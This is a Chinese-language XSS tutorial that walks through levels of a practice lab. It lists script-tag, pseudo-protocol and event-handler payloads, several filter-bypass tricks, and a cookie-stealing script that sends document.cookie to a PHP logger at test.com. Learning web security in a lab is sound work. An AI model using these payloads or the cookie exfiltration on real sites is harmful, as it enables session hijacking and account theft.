**1.原理:**攻擊者把惡意的腳本代碼注入到網頁中,等待其餘用戶瀏覽 這些網頁(或觸發其餘條件),從而執行其中的惡意代碼。 1.xss實例代碼: test.htmljavascript
<!DOCTYPE html> <head> <title>xss_test</title> </head> <body> <form action="xss.php" method="post"> 請輸入你的名字<br> <input type="text" name="name"> <input type="submit" value="提交"> </form> </body> </html>
xss.phpphp
<!DOCTYPE html> <head> <meta charset="utf-8"> <title>測試結果</title> </head> <body> <?php echo $_POST['name']; ?> </body> </html>
得到cookie 腳本 cookie.phphtml
<?php $cookie = $_GET['cookie']."\n"; $cookie_f = fopen('cookie.txt','a'); fwrite($cookie_f,$cookie); fclose($cookie_f); ?>
xss.jsjava
<script>window.open('http://www.test.com/cookie.php?cookie='+document.cookie)</script>
xss分爲3類 反射型xss 存儲型xss dom型xss瀏覽器
<!-- 基本類型--> <script >alert('xss')</script> <script >alert("xss")</script> <script >alert(/xss/)</script> <script >alert('xss');</script>
<!-- 利用javascript僞協議 --> <iframe src=javascript:alert('xss') ></iframe> --------------------------------- <a href=javascript:alert('xss')>xxx</a> 兩個a標籤之間要加東西,否則看不到點擊的地方
<!-- 利用基本事件 --> <img src="x" onerror= alert('xss')> //圖片未找到 <img src="x" onload= alert('xss')> //圖片正常顯示 <img src="x" onclick= alert('xss')>
事件 | 含義 |
---|---|
onclick | 鼠標單擊 |
onchange | 內容發生改變 |
onerror | 圖片等未找到時 |
onload | 頁面加載 |
onmouseover | 鼠標懸停 |
onmouseout | 鼠標移出 |
onmousemove | 鼠標路過 |
onchange 用在 input 標籤 |
<input type="text" onchange=alert('xss')>
--標籤的屬性支持javascript:[code]僞協議cookie
利用空字符 經常使用字符:【空格】【回車】【Tab】鍵位符 應用場景:對JavaScript關鍵字過了過濾
-- 擾亂過濾規則dom
1)大小寫混合 <sCRipt>alert('xss')</script> 2)引號的使用 <script>alert('xss')</script> <script>alert("xss")</script> <script>alert(/xss/)</script> 3)<iframe/src=javascript:alert(1)> 4)雙寫 <scr<script>ipt>alert(1111)</scr</script>ipt>
小tipsxss
%0a用作換行使的input標籤語法正確,主要是由於過濾了「>」 // js的註釋
首先在地址後輸入咱們最基本的payload,彈窗 還能夠post
利用 iframe 標籤的的 src 屬性來彈窗 <iframe src=javascript:alert('xss')></iframe> 利用標籤的 href 屬性來彈窗 <a href=javascript:alert('xss')>ggtest</a> 這裏就是超連接到了:javascript:alert('xss') 效果和瀏覽器直接打開這個地址:javascript:alert('xss')是同樣的 這裏還能夠使用:javascript:alert(document.cookie) 來彈出當前會話的 cookie img標籤來彈窗 <img src=1 onerror=alert('xss')>
在次嘗試輸入基本的payload,看到沒有測試
右鍵查看源代碼,搜索咱們剛輸入的東西,看過濾了什麼
唄代碼複製出來,構造payload,在input 標籤裏,首先想到onchange事件
<input name=keyword value="<script >alert('xss')</script>"> " onchange =alert(111) <"
還能夠
"><script>alert(222)</script> <"
同樣操做,看源代碼,構造payload 過濾了尖括號 " onchange=alert(1111) /<"
' onchange='alert(/111/)
這個剛學到的,可能對< " 過濾有幫助 ' onclick=alert(1)%0a
%0a用作換行使的input標籤語法正確,主要是由於過濾了「>」。
<input name=keyword value="111"> " onchange=alert(555)<"
過濾了script
還過濾了on事件 只能利用javascript僞協議
"><a href=javascript:alert(111)>
基本全過濾 嘗試大小寫繞過
"><img sRc=x onError="alert(/xss/)
這樣還不行,看源碼,on過濾,試了一下on大寫,成功
"><img sRc=x OnError="alert(/xss/)
<input name=keyword value="456"> 嘗試如下 <input name=keyword value="" Onchange=alert(123) id="">
不行,過濾on想到用僞協議 想到僞協議的繞過tab 空格 仍是不行,尷尬,看上邊過濾是直接把on消失,試試複寫。
" Oonnchange=alert(123) id="
</center><center><BR><a href="1111">友情連接</a></center><center><img src=level8.jpg></center>
a標籤,href直接使用僞協議
javascript:alert(1111)
嘗試tab
| 按鍵 | url編碼|
| :-------- | --------:| | tab | %09 | |enter|%0A| |space|%20| --又有一方法 html10進制編碼payload
嘗試僞協議
並無彈,應該是/問題,這有一個思路是把http://放到alert裏
javascri pt:alert('http://') //tab
編碼
一臉懵逼,沒有輸入輸出點啊 仍是沒有輸出點,經過觀察發現有3個隱藏的輸入input,構造下看看有沒有輸出
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=3
發現t_sort參數有東西,竊喜。。
<input name="t_sort" value="3" type="hidden"> 構造 http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmousemove=alert(111) id="
~繞過hidden屬性的影響
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmosemove=alert(111) type="text"